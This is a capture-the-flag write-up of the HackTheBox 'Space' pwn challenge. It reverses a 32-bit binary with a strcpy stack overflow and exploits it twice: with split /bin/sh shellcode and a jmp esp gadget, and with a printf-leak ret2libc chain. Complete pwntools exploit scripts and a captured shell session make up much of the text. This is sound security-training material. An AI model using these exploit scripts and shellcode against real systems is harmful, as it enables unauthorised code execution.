Posts HackTheBox — Space Writeup
Post
Cancel

HackTheBox — Space Writeup

Space from HackTheBox is an amazing pwn challenge we will solve this challenge in two different way. We’ll start with basic enumeration with gdb gef as usual.

Reconnaissance

Lets enum the binary .

1
2
3
4
5
┌─[oxy@oxy]─[~/Practice/hackthebox/challenge/pwn/space]
└──╼ $file space
space: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=90e5767272e16e26e1980cb78be61437b3d63e12, not stripped
┌─[oxy@oxy]─[~/Practice/hackthebox/challenge/pwn/space]
└──╼ $

so this is the 32bit binary .

Let run the binary to check what it does.

1
2
3
4
5
 ┌─[oxy@oxy]─[~/Practice/hackthebox/challenge/pwn/space]
 └──╼ $./space 
> hello
┌─[oxy@oxy]─[~/Practice/hackthebox/challenge/pwn/space]
└──╼ $

it’s doing nothing, just taking the input and it exits.

Lets send more junk .

1
2
3
4
┌─[oxy@oxy]─[~/Practice/hackthebox/challenge/pwn/space]
└──╼ $./space 
> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Segmentation fault

yeah , we got the segmentation fault on sending more junks. A segmentation fault occurs when a program attempts to access a memory location that it is not allowed to access, or attempts to access a memory location in a way that is not allowed (for example, attempting to write to a read-only location, or to overwrite part of the operating system).

Radare

lets enum more with radare 2.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
 ┌─[oxy@oxy]─[~/Practice/hackthebox/challenge/pwn/space]
 └──╼ $r2 -A ./space
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Check for objc references
[x] Check for vtables
[x] Type matching analysis for all functions (aaft)
[x] Propagate noreturn information
[x] Use -AA or aaaa to perform additional experimental analysis.
[0x08049080]>afl
0x08049080    1 50           entry0
0x080490b3    1 4            fcn.080490b3
0x08049070    1 6            sym.imp.__libc_start_main
0x080490e0    4 49   -> 40   sym.deregister_tm_clones
0x08049120    4 57   -> 53   sym.register_tm_clones
0x08049160    3 33   -> 30   entry.fini0
0x08049190    1 2            entry.init0
0x080492b0    1 1            sym.__libc_csu_fini
0x080490d0    1 4            sym.__x86.get_pc_thunk.bx
0x080491a4    1 43           sym.vuln
0x08049243    1 4            sym.__x86.get_pc_thunk.ax
0x08049060    1 6            sym.imp.strcpy
0x080492b4    1 20           sym._fini
0x08049250    4 85           sym.__libc_csu_init
0x080490c0    1 1            sym._dl_relocate_static_pie
0x08049192    1 15           sym.
0x080491cf    1 116          main
0x08049040    1 6            sym.imp.printf
0x08049050    1 6            sym.imp.fflush
0x08049030    1 6            sym.imp.read
0x08049000    3 32           sym._init

we got the list of function present on the binary . loking at the function we can see this is just a small binary. lets check the main function.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
[0x08049080]> pdf@main
            ; DATA XREFS from entry0 @ 0x80490a6, 0x80490ac
┌ 116: int main (int32_t arg_4h);; var void *buf @ ebp-0x27
│           ; var int32_t var_8h @ ebp-0x8
│           ; arg int32_t arg_4h @ esp+0x44
│           0x080491cf      8d4c2404       lea ecx, dword [arg_4h]
│           0x080491d3      83e4f0         and esp, 0xfffffff0
│           0x080491d6      ff71fc         push dword [ecx - 4]
│           0x080491d9      55             push ebp
│           0x080491da      89e5           mov ebp, esp
│           0x080491dc      53             push ebx
│           0x080491dd      51             push ecx
│           0x080491de      83ec20         sub esp, 0x20
│           0x080491e1      e8eafeffff     call sym.__x86.get_pc_thunk.bx
│           0x080491e6      81c3de200000   add ebx, 0x20de
│           0x080491ec      83ec0c         sub esp, 0xc
│           0x080491ef      8d8344edffff   lea eax, dword [ebx - 0x12bc]
│           0x080491f5      50             push eax                    ; const char *format
│           0x080491f6      e845feffff     call sym.imp.printf         ; int printf(const char *format)
│           0x080491fb      83c410         add esp, 0x10
│           0x080491fe      8b83fcffffff   mov eax, dword [ebx - 4]
│           0x08049204      8b00           mov eax, dword [eax]
│           0x08049206      83ec0c         sub esp, 0xc
│           0x08049209      50             push eax                    ; FILE *stream
│           0x0804920a      e841feffff     call sym.imp.fflush         ; int fflush(FILE *stream)
│           0x0804920f      83c410         add esp, 0x10
│           0x08049212      83ec04         sub esp, 4
│           0x08049215      6a1f           push 0x1f                   ; 31 ; size_t nbyte
│           0x08049217      8d45d9         lea eax, dword [buf]
│           0x0804921a      50             push eax                    ; void *buf
│           0x0804921b      6a00           push 0                      ; int fildes
│           0x0804921d      e80efeffff     call sym.imp.read           ; ssize_t read(int fildes, void *buf, size_t nbyte)
│           0x08049222      83c410         add esp, 0x10
│           0x08049225      83ec0c         sub esp, 0xc
│           0x08049228      8d45d9         lea eax, dword [buf]
│           0x0804922b      50             push eax
│           0x0804922c      e873ffffff     call sym.vuln
│           0x08049231      83c410         add esp, 0x10
│           0x08049234      b800000000     mov eax, 0
│           0x08049239      8d65f8         lea esp, dword [var_8h]
│           0x0804923c      59             pop ecx
│           0x0804923d      5b             pop ebx
│           0x0804923e      5d             pop ebp
│           0x0804923f      8d61fc         lea esp, dword [ecx - 4]
└           0x08049242      c3             ret
[0x08049080]>

this is clear that the program is taking the input and calling the sym.vuln function. lets check the vuln function.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
[0x08049080]> pdf@sym.vuln
            ; CALL XREF from main @ 0x804922c
┌ 43: sym.vuln (char *src);; var char *dest @ ebp-0xe
│           ; var int32_t var_4h @ ebp-0x4
│           ; arg char *src @ ebp+0x8
│           0x080491a4      55             push ebp
│           0x080491a5      89e5           mov ebp, esp
│           0x080491a7      53             push ebx
│           0x080491a8      83ec14         sub esp, 0x14
│           0x080491ab      e893000000     call sym.__x86.get_pc_thunk.ax
│           0x080491b0      0514210000     add eax, 0x2114
│           0x080491b5      83ec08         sub esp, 8
│           0x080491b8      ff7508         push dword [src]            ; const char *src
│           0x080491bb      8d55f2         lea edx, dword [dest]
│           0x080491be      52             push edx                    ; char *dest
│           0x080491bf      89c3           mov ebx, eax
│           0x080491c1      e89afeffff     call sym.imp.strcpy         ; char *strcpy(char *dest, const char *src)
│           0x080491c6      83c410         add esp, 0x10
│           0x080491c9      90             nop
│           0x080491ca      8b5dfc         mov ebx, dword [var_4h]
│           0x080491cd      c9             leave
└           0x080491ce      c3             ret
[0x08049080]> 

so the vuln function is copying the input into buffer call sym.imp.strcpy. as we know strcpy() function does not specify the size of the destination array, so buffer overrun is often a risk. Using strcpy() function to copy a large character array into smaller one is dangerous, but if the string will fit, then it will not worth the risk. If destination string is not large enough to store the source string then the behavior of strcpy() is unspecified or undefined.

Gdb Gef

As we got few things to start with , but lets enum more with gdb before writing our exploit.

1
2
3
┌─[oxy@oxy]─[~/Practice/hackthebox/challenge/pwn/space]
└──╼ $gdb ./space 
gef➤

lets check which binary protection are enabled on binary.

1
2
3
4
5
6
7
8
gef➤  checksec
[+] checksec for '/home/oxy/Practice/hackthebox/challenge/pwn/space/space'
Canary                        : ✘ 
NX                            : ✘ 
PIE                           : ✘ 
Fortify                       : ✘ 
RelRO                         : ✘ 
gef➤  

its look like no any protection are enabled on the binary, so things will be bit easy for us .

lets create a pattern of length 50 and check the number of bit required to reach eip.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
gef➤  pattern create 50
[+] Generating a pattern of 50 bytes
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama
[+] Saved as '$_gef1'
gef➤  run
Starting program: /home/oxy/Practice/hackthebox/challenge/pwn/space/space 
> aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama

Program received signal SIGSEGV, Segmentation fault.
0x61666161 in ?? ()

[ Legend: Modified register | Code | Heap | Stack | String ]
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax   : 0xffffd01a  →  0x61616161 ("aaaa"?)
$ebx   : 0x61646161 ("aada"?)
$ecx   : 0xffffd060  →  0xffffd080  →  0x00000001
$edx   : 0xffffd039  →  0xffffd080  →  0x00000001
$esp   : 0xffffd030  →  0x61676161 ("aaga"?)
$ebp   : 0x61656161 ("aaea"?)
$esi   : 0xf7fa8000  →  0x001e4d6c
$edi   : 0xf7fa8000  →  0x001e4d6c
$eip   : 0x61666161 ("aafa"?)
$eflags: [zero carry parity adjust SIGN trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063 
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffd030│+0x0000: 0x61676161	 ← $esp
0xffffd034│+0x0004: 0x61686161
0xffffd038│+0x0008: 0xffd08061
0xffffd03c│+0x000c: 0x080400ff
0xffffd040│+0x0010: 0x616161fc
0xffffd044│+0x0014: 0x61616261
0xffffd048│+0x0018: 0x61616361
0xffffd04c│+0x001c: 0x61616461
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0x61666161
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "space", stopped 0x61666161 in ?? (), reason: SIGSEGV
1
2
3
4
5
gef➤  pattern search aafa
[+] Searching 'aafa'
[+] Found at offset 19 (little-endian search) likely
[+] Found at offset 18 (big-endian search) 
gef➤

we found the offset of 18 will require to reach the eip. that’s a quite little space.

lets create a simple pattern to test the space available after eip.

1
2
3
4
5
┌─[✗]─[oxy@oxy]─[~/Practice/hackthebox/challenge/pwn/space]
└──╼ $python3 -c 'print("A"*18+"B"*8+"C"*18)'
AAAAAAAAAAAAAAAAAABBBBBBBBCCCCCCCCCCCCCCCCCC
┌─[oxy@oxy]─[~/Practice/hackthebox/challenge/pwn/space]
└──╼ $
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
gef➤  run
Starting program: /home/oxy/Practice/hackthebox/challenge/pwn/space/space 
> AAAAAAAAAAAAAAAAAABBBBBBBBCCCCCCCCCCCCCCCCCC

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()


gef➤  x/30x $esp
0xffffd030:	0x42424242	0x43434343	0xffd08043	0x080400ff
0xffffd040:	0x414141fc	0x41414141	0x41414141	0x41414141
0xffffd050:	0x42414141	0x42424242	0x43424242	0x43434343
0xffffd060:	0xffffd080	0x00000000	0x00000000	0xf7de1df6
0xffffd070:	0xf7fa8000	0xf7fa8000	0x00000000	0xf7de1df6
0xffffd080:	0x00000001	0xffffd124	0xffffd12c	0xffffd0b4
0xffffd090:	0xffffd0c4	0xf7ffdb40	0xf7fcb410	0xf7fa8000
0xffffd0a0:	0x00000001	0x00000000
gef➤ 

we don’t have enough space after eip too to put our shellcode. so we have to divide our shellcode in two halves and put one larger half before eip and other smaller half after eip and control the return function to navigate betwwen shellcode.

Shellcode

lets create a shellcode for our exploit.

this is my shellcode that i got from shellstrom and i modify a little to work with our condition

orginal shellcode

1
2
3
4
5
6
7
8
9
10
11
12
[SECTION .text]
global _start
_start:

xor edx,edx ; edx = 0 (it will be used as *envp = NULL)
xor eax,eax ; eax = 0 (it will be used as a null-terminating char)
push eax
push 0x68732f2f
push 0x6e69622f ; here you got /bin//sh\x00 on the stack
mov ebx,esp ; ebx <- esp; ebx points to /bin//sh\x00
mov al, 0xb ; al = 0xb, 11, execve syscall id
int 0x80 ; execve("/bin//sh\x00",Null,Null)

modified shellcode..

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
[SECTION .text]
global _start
_start:

xor edx,edx ; edx = 0 (it will be used as *envp = NULL)
xor eax,eax ; eax = 0 (it will be used as a null-terminating char)

"i added these two lines"
sub esp,0x16
jmp esp  "this will jump 22 steps back on esp"
"so we split it here , above shellcode goes after eip and below will before eip"

push eax
push 0x68732f2f
push 0x6e69622f ; here you got /bin//sh\x00 on the stack
mov ebx,esp ; ebx <- esp; ebx points to /bin//sh\x00
mov al, 0xb ; al = 0xb, 11, execve syscall id
int 0x80 ; execve("/bin//sh\x00",Null,Null) 

lets save this as shellcode.asm and convert this to shellcode.

1
2
3
4
5
6
7
8
9
10
┌─[✗]─[oxy@oxy]─[~/Practice/hackthebox/challenge/pwn/space]
└──╼ $nasm -f elf32 -l shellcode shellcode.asm 

┌─[oxy@oxy]─[~/Practice/hackthebox/challenge/pwn/space]
└──╼ $ls
jmp.py  rop..py  shellcode  shellcode.asm  shellcode.o  space  space.zip  subl.html
┌─[oxy@oxy]─[~/Practice/hackthebox/challenge/pwn/space]
└──╼ $objdump -d ./shellcode.o|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xd2\x31\xc0\x83\xec\x16\xff\xe4\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"

we get our shellcode.lets use this shellcode on our exploit.

Exploit

we need to split our shellcode into two halves. that is from last part 18bits or less going to be our first halves and remaing will be our first part.

whole shellcode

1
\x31\xd2\x31\xc0\x83\xec\x16\xff\xe4      \x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80

last part of shellcode going to be first part for the exploit.which is a length of 17 bits

1
2
3
4
5
6
7
8
9
10
11
\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80

┌─[oxy@oxy]─[~/Practice/hackthebox/challenge/pwn/space]
└──╼ $python3
Python 3.8.5 (default, Aug  2 2020, 15:09:07) 
[GCC 10.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> len("\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80")
17
>>> 

first part of the shellcode going to last part on our exploit

1
\x31\xd2\x31\xc0\x83\xec\x16\xff\xe4

so our exploit will look

1
paylaod = 'a' + last_part + jmp_esp + first_part

so here’s the idea 'a' + last_part = 18bits(require to reach eip ) + jmp_esp (return function which will return to first_part) + first_part(which will return to last_part)

so before writing our final exploit we will need jmp_esp address from the binary ,lets heck the address with ropper.

1
2
3
4
5
6
7
8
9
10
11
12
┌─[oxy@oxy]─[~/Practice/hackthebox/challenge/pwn/space]
└──╼ $ropper
(ropper)> file space
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] File loaded.
(space/ELF/x86)> search /1/  jmp esp
[INFO] Searching for gadgets: jmp esp

[INFO] File: space
0x0804919f: jmp esp; 

we got the address for jmp esp 0x0804919f.

Final Exploit

lets write our final python script.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *

context.terminal = ['urxvt','-e','sh','-c']
context.log_level = 'DEBUG'
sh = remote("docker.hackthebox.eu",30935)


jmp_esp = p32(0x0804919f) 
first_part = b'\x31\xd2\x31\xc0\x83\xec\x15\xff\xe4'
last_part = b'\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'

payload = b'a' + last_part + jmp_esp + first_part

sh.sendlineafter("> ",payload)
sh.interactive()

and we got a shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
┌─[oxy@oxy]─[~/Practice/hackthebox/challenge/pwn/space]
└──╼ $python3 jmp.py 
[+] Opening connection to 161.35.163.0 on port 30659: Done
[DEBUG] Received 0x2 bytes:
    b'> '
[DEBUG] Sent 0x20 bytes:
    00000000  61 50 68 2f  2f 73 68 68  2f 62 69 6e  89 e3 b0 0b  │aPh/│/shh│/bin│····│
    00000010  cd 80 9f 91  04 08 31 d2  31 c0 83 ec  15 ff e4 0a  │····│··1·│1···│····│
    00000020
[*] Switching to interactive mode
$ ls
[DEBUG] Sent 0x3 bytes:
    b'ls\n'
[DEBUG] Received 0x20 bytes:
    b'flag.txt\n'
    b'run_challenge.sh\n'
    b'space\n'
flag.txt
run_challenge.sh
space
$ cat flag.txt
[DEBUG] Sent 0xd bytes:
    b'cat flag.txt\n'
[DEBUG] Received 0x1c bytes:
    b'HTB{sh3llc0de_1n_7h3_5p4c3}\n'
HTB{sh3llc0de_1n_7h3_5p4c3}

ROP Method.

lets exploit it with ROP method.

let first check the plt table of binary.

1
2
3
4
5
6
7
┌─[oxy@oxy]─[~/Practice/hackthebox/challenge/pwn/space]
└──╼ $objdump -D -j .plt space | grep '@plt'
08049030 <read@plt>:
08049040 <printf@plt>:
08049050 <fflush@plt>:
08049060 <strcpy@plt>:
08049070 <__libc_start_main@plt>:

Leaking libc address

lets use printf to leak libc address , we can use any of the available function but i choose to go with printf.

our payload will look.

junk + plt_printf + main + got_printf

just like in our previous method junk will be 18 bits and the main address from plt table is used so the program return to main and doesn’t crash and terminate.we need to keep it alive cause in every run the address of the binary changese due to aslr enabled on the remote machine.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
!/usr/bin/python

from pwn import *

elf = context.binary = ELF("./space")

host = "docker.hackthebox.eu"
port = 30370

junk = "A"*18
plt_printf = p32(elf.plt["printf"] )
main = p32(elf.sym["main"])
got_printf = p32(elf.got["printf"])

print "plt@printf", hex(u32(plt_printf))
print "plt@main", hex(u32(main))
print "plt@printf", hex(u32(got_printf))
send paylaod and recv leak and retun to main (don't let the progam crash )

payload = junk + plt_printf + main + got_printf


io = remote(host,port)
io.recvuntil(">")
io.sendline(payload)
leak = io.recvuntil(">")
leak_printf = u32(leak[1:5])
print "printf@leak", hex(u32(leak[1:5]))

1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌─[✗]─[oxy@oxy]─[~/Practice/hackthebox/challenge/pwn/space]
└──╼ $python rop..py 
[*] '/home/oxy/Practice/hackthebox/challenge/pwn/space/space'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments
plt@printf 0x8049040
plt@main 0x80491cf
plt@printf 0x804b2d4
[+] Opening connection to 161.35.163.0 on port 30659: Done
printf@leak 0xf7d90de0

we got the leak of libc lets check the libc version from the leak we got . we can check it Here.

libc_database

we got three results , we can add on more field to get exact libc version for this we need to leak another plt table it can be strcpy or read or anything that present on plt table. i pick a second one here not going further . download the libc file and load it on our exploit and find the lib base address.

1
2
3
4
5
6
7
libc = ELF("./libc6-i386_2.31-0ubuntu9_amd64.so")

"get the offest of printf from libc"
offset = libc.symbols['printf']
"substract the offset from our printf@leak, we got the libc base address."
libc_base = leak_printf - offset
print "libc_base", hex(libc_base)

now its ret2libc attack from here. for a ret2libc attak we will need three address as argunment for execv. system,exit and /bin/sh. lets load it in our script.

1
2
3
system_offset = libc.symbols['system']
exit_offset = libc.symbols['exit']
bash_offset = next(libc.search('/bin/sh\x00'))

we need to add libc base address to these offset to get the atual address.

1
2
3
system = p32(libc_base + system_offset)
exit = p32(libc_base + exit_offset) 
shell= p32(libc_base + bash_offset)

so our payload will be junk + system + exit + shell. we have everything we need to exploit the binary .

Final Exploit

here is our final exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
!/usr/bin/python

from pwn import *

elf = context.binary = ELF("./space")

def start():
    return process(elf.path)


junk = "A"*18
plt_printf = p32(elf.plt["printf"] )
main = p32(elf.sym["main"])
got_printf = p32(elf.got["printf"])

print "plt@printf", hex(u32(plt_printf))
print "plt@main", hex(u32(main))
print "plt@printf", hex(u32(got_printf))

payload = junk + plt_printf + main + got_printf
io = remote(host,port)

io.recvuntil(">")
io.sendline(payload)
leak = io.recvuntil(">")
leak_printf = u32(leak[1:5])
print "printf@leak", hex(u32(leak[1:5]))

libc = ELF("./libc6-i386_2.31-0ubuntu9_amd64.so") # in this case libc version is

offset = libc.symbols['printf']
libc_base = leak_printf - offset
print "libc_base", hex(libc_base)

system_offset = libc.symbols['system']
exit_offset = libc.symbols['exit']
bash_offset = next(libc.search('/bin/sh\x00'))

junk = "\x90"*18 # nops
system = p32(libc_base + system_offset)
exit = p32(libc_base + exit_offset) 
shell= p32(libc_base + bash_offset)

payload1 = junk + system + exit + shell
io.sendline(payload1)
io.interactive()

Thanks for reading.

This post is licensed under CC BY 4.0 by the author.